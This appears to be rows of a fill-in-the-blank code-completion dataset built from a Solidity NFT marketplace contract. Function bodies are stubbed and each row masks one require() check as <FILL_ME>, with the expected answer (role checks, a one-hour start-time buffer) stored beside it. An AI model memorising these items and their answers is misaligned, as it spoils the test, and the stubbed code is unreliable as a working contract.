internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
hasRole(LISTER_ROLE,address(0))||hasRole(LISTER_ROLE,_msgSender()),"!LISTER"
435,928
hasRole(LISTER_ROLE,address(0))||hasRole(LISTER_ROLE,_msgSender())
"!ASSET"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { // Get values to populate `Listing`. uint256 listingId = totalListings; totalListings += 1; address tokenOwner = _msgSender(); TokenType tokenTypeOfListing = getTokenType(_params.assetContract); uint256 tokenAmountToList = getSafeQuantity(tokenTypeOfListing, _params.quantityToList); require(tokenAmountToList > 0, "QUANTITY"); require(hasRole(LISTER_ROLE, address(0)) || hasRole(LISTER_ROLE, _msgSender()), "!LISTER"); require(<FILL_ME>) uint256 startTime = _params.startTime; if (startTime < block.timestamp) { // do not allow listing to start in the past (1 hour buffer) require(block.timestamp - startTime < 1 hours, "ST"); startTime = block.timestamp; } validateOwnershipAndApproval( tokenOwner, _params.assetContract, _params.tokenId, tokenAmountToList, tokenTypeOfListing ); Listing memory newListing = Listing({ listingId: listingId, tokenOwner: tokenOwner, assetContract: _params.assetContract, tokenId: _params.tokenId, startTime: startTime, endTime: startTime + _params.secondsUntilEndTime, quantity: tokenAmountToList, currency: _params.currencyToAccept, reservePricePerToken: _params.reservePricePerToken, buyoutPricePerToken: _params.buyoutPricePerToken, tokenType: tokenTypeOfListing, listingType: _params.listingType }); listings[listingId] = newListing; // Tokens listed for sale in an auction are escrowed in Marketplace. if (newListing.listingType == ListingType.Auction) { require(newListing.buyoutPricePerToken >= newListing.reservePricePerToken, "RESERVE"); transferListingTokens(tokenOwner, address(this), tokenAmountToList, newListing); } emit ListingAdded(listingId, _params.assetContract, tokenOwner, newListing); } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
hasRole(ASSET_ROLE,address(0))||hasRole(ASSET_ROLE,_params.assetContract),"!ASSET"
435,928
hasRole(ASSET_ROLE,address(0))||hasRole(ASSET_ROLE,_params.assetContract)
"ST"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { // Get values to populate `Listing`. uint256 listingId = totalListings; totalListings += 1; address tokenOwner = _msgSender(); TokenType tokenTypeOfListing = getTokenType(_params.assetContract); uint256 tokenAmountToList = getSafeQuantity(tokenTypeOfListing, _params.quantityToList); require(tokenAmountToList > 0, "QUANTITY"); require(hasRole(LISTER_ROLE, address(0)) || hasRole(LISTER_ROLE, _msgSender()), "!LISTER"); require(hasRole(ASSET_ROLE, address(0)) || hasRole(ASSET_ROLE, _params.assetContract), "!ASSET"); uint256 startTime = _params.startTime; if (startTime < block.timestamp) { // do not allow listing to start in the past (1 hour buffer) require(<FILL_ME>) startTime = block.timestamp; } validateOwnershipAndApproval( tokenOwner, _params.assetContract, _params.tokenId, tokenAmountToList, tokenTypeOfListing ); Listing memory newListing = Listing({ listingId: listingId, tokenOwner: tokenOwner, assetContract: _params.assetContract, tokenId: _params.tokenId, startTime: startTime, endTime: startTime + _params.secondsUntilEndTime, quantity: tokenAmountToList, currency: _params.currencyToAccept, reservePricePerToken: _params.reservePricePerToken, buyoutPricePerToken: _params.buyoutPricePerToken, tokenType: tokenTypeOfListing, listingType: _params.listingType }); listings[listingId] = newListing; // Tokens listed for sale in an auction are escrowed in Marketplace. if (newListing.listingType == ListingType.Auction) { require(newListing.buyoutPricePerToken >= newListing.reservePricePerToken, "RESERVE"); transferListingTokens(tokenOwner, address(this), tokenAmountToList, newListing); } emit ListingAdded(listingId, _params.assetContract, tokenOwner, newListing); } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
block.timestamp-startTime<1hours,"ST"
435,928
block.timestamp-startTime<1hours
"ST"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { Listing memory targetListing = listings[_listingId]; uint256 safeNewQuantity = getSafeQuantity(targetListing.tokenType, _quantityToList); bool isAuction = targetListing.listingType == ListingType.Auction; require(safeNewQuantity != 0, "QUANTITY"); // Can only edit auction listing before it starts. if (isAuction) { require(block.timestamp < targetListing.startTime, "STARTED"); require(_buyoutPricePerToken >= _reservePricePerToken, "RESERVE"); } if (_startTime < block.timestamp) { // do not allow listing to start in the past (1 hour buffer) require(<FILL_ME>) _startTime = block.timestamp; } uint256 newStartTime = _startTime == 0 ? targetListing.startTime : _startTime; listings[_listingId] = Listing({ listingId: _listingId, tokenOwner: _msgSender(), assetContract: targetListing.assetContract, tokenId: targetListing.tokenId, startTime: newStartTime, endTime: _secondsUntilEndTime == 0 ? targetListing.endTime : newStartTime + _secondsUntilEndTime, quantity: safeNewQuantity, currency: _currencyToAccept, reservePricePerToken: _reservePricePerToken, buyoutPricePerToken: _buyoutPricePerToken, tokenType: targetListing.tokenType, listingType: targetListing.listingType }); // Must validate ownership and approval of the new quantity of tokens for diret listing. if (targetListing.quantity != safeNewQuantity) { // Transfer all escrowed tokens back to the lister, to be reflected in the lister's // balance for the upcoming ownership and approval check. if (isAuction) { transferListingTokens(address(this), targetListing.tokenOwner, targetListing.quantity, targetListing); } validateOwnershipAndApproval( targetListing.tokenOwner, targetListing.assetContract, targetListing.tokenId, safeNewQuantity, targetListing.tokenType ); // Escrow the new quantity of tokens to list in the auction. if (isAuction) { transferListingTokens(targetListing.tokenOwner, address(this), safeNewQuantity, targetListing); } } emit ListingUpdated(_listingId, targetListing.tokenOwner); } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 